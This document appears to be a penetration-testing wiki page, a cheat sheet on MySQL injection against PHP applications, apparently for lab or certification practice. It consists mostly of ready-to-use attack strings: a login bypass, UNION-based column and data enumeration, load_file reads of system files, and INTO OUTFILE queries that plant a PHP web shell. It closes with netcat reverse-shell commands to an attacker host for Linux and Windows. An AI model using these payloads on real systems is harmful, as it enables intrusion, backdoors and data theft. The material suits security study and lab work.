Skip to content

MySQL Injection

lethanhtung01011980 edited this page Jun 16, 2020 · 24 revisions

Goals

  • Mainly for PHP and MySQL
  • To attack on non-validated user inputs
  • To know the database
  • To execute remote code
  • SQL injection for PHP, can put in HTML textbox: <?php echo system($_REQUEST["cmd"]); ?> . Then execute with custom cmd http://nineveh.htb/department/manage.php?notes=/var/tmp/ninevehNotes.php&cmd=uname

1. Authentication Bypass

Attack on non-validated username and password

  • Key in username as wronguser' or 1=1 LIMIT 1;# image

2. Enumerating the database

Basic check for SQL injection

  • Key in ' or " in text input to see if any debug error.
  • Key in ' or " in GET parameters to see if any debug error.
  • Key in and 1 = 1 and and 1 = 2 behind the suspected parameter to see the output difference.

3. Column Number Enumeration

Check if 7th column exists

  • http://victim_ip/comment.php?id=738 order by 7

4. Understanding the layout of the output

If we have 6 columns, we can check which columns are display.

  • http://victim_ip/comment.php?id=738 union all select 1,2,3,4,5,6

5. Extracting the data form the database

Assume 5th column can be shown.

6. Use SQL Injection for code execution

Notes:

  • Linux may have user permission restriction.

To load file

  • http://victim_ip/comment.php?id=738 union select 1,2,3,4,load_file('c:/windows/system32/drivers/etc/hosts'),6 FROM users

To create file using outfile

  • http://victim-ip/comment.php?id=738 union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into OUTFILE 'c:/xampp/htdocs/backdoor.php'
  • To put behind vulnerable param: ' union all select "<?php echo shell_exec($_GET['cmd']);?>" into OUTFILE '/var/www/backdoor.php' #

Sample reverse shell payload for "cmd"

  • Linux victim to execute reverse shell: nc -nv attacker_ip 4444 -e /bin/bash
  • Windows victim to execute reverse shell: nc.exe -nv attacker_ip 4444 -e cmd.exe

Sidebar

0. COMMON exploits

1. Scan Info

1.2 Passive Gathering

1.3 Active Gathering

2. Pre-attack

2.2 File transfer

3. Get Reverse Shell

4. Exploits

4.2 Windows Exploits

4.3 Linux Exploits

4.4 Password crack

4.5 Buffer Overflow

4.6 Web attacks

6. Escalate Privilege

6.1 Escalate in Windows

6.2 Escalate in Linux

7. Access and further attacks

8. Port redirection and Tunnelling

9. Metasploit

10. Kali

11. Thirdparty scripts

Clone this wiki locally